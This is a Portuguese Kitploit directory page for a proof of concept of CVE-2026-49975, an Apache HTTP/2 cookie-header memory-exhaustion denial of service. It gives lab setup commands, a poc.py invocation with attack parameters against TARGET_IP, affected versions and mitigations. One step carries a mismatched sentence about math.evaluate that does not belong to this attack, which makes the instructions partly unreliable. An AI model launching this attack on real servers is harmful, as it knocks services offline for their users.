Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-49975 — HTTP2-Bomb | Kitploit
Ferramentas/GitHubGitHub/0xc03307b/cve-2026-49975
Análise de VulnerabilidadesExploraçãoSegurança WebFuzzingTestes de Penetração
GitHub0xc03307b/cve-2026-49975

CVE-2026-49975

HTTP2-Bomb

Ver Repositório
3há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-49975 Bomba HTTP/2

★ CVE-2026-49975 Bomba HTTP/2 PoC ★


Visão Geral

CVE-2026-49975 é uma vulnerabilidade de Negação de Serviço (DoS) no Apache HTTP Server. A vulnerabilidade ocorre no caminho de manipulação de requisições HTTP/2, onde múltiplos campos de cabeçalho cookie podem ser mesclados sem serem contados adequadamente contra LimitRequestFields. Ao enviar uma requisição HTTP/2 pequena codificada em HPACK que se expande em muitos campos de cabeçalho cookie, um atacante pode forçar o servidor a alocar memória repetidamente durante a mesclagem de cabeçalhos Cookie. O atacante pode então usar o controle de fluxo HTTP/2 para atrasar a transmissão da resposta, mantendo os streams afetados abertos e impedindo que a memória alocada seja liberada.


Versões Afetadas

CategoriaVersão
VulnerávelApache HTTP Server 2.4.17 ≤ versão ≤ 2.4.67
CorrigidaApache HTTP Server 2.4.68 ou superior

Impacto

  • Negação de Serviço (DoS) remota
  • Consumo excessivo de memória
  • Processamento atrasado ou falha de requisições normais de usuários

Ambiente

Construa e execute o ambiente vulnerável do Apache HTTP Server.

root@kitploit:~
docker build -t cve-2026-49975 .
docker run -d --name cve-2026-49975 --memory 8g -p 10081:80 cve-2026-49975

PoC

Após iniciar o ambiente vulnerável, siga os passos abaixo para reproduzir o ataque.

Passo 1. Monitore o uso de memória do servidor

root@kitploit:~
docker stats cve-2026-49975

Exemplo de saída:

root@kitploit:~
CONTAINER ID   NAME             CPU %   MEM USAGE / LIMIT     MEM %
xxxxxxxxxxxx   cve-2026-49975   0.5%    35.2MiB / 8.0GiB      1.7%

Passo 2. Execute o PoC da Bomba HTTP/2

Envie a seguinte expressão para math.evaluate (por exemplo, através da entrada de cálculo da aplicação).

root@kitploit:~
python3 poc.py \
  --host TARGET_IP \
  --port 10081 \
  --connections 10 \
  --streams 100 \
  --refs 4091 \
  --initial-window 0 \
  --hold 300 \
  --drip-interval 2 \
  --drip-bytes 1

Passo 3. Confirme o resultado

Verifique se o uso de memória do container Apache aumenta e permanece alto enquanto os streams do ataque são mantidos abertos.

Mitigação

  • Atualize o Apache HTTP Server para 2.4.68 ou superior
  • Considere desabilitar temporariamente o HTTP/2 se o serviço não o exigir

Análise

  • KR:
  • EN:
Baixar ferramenta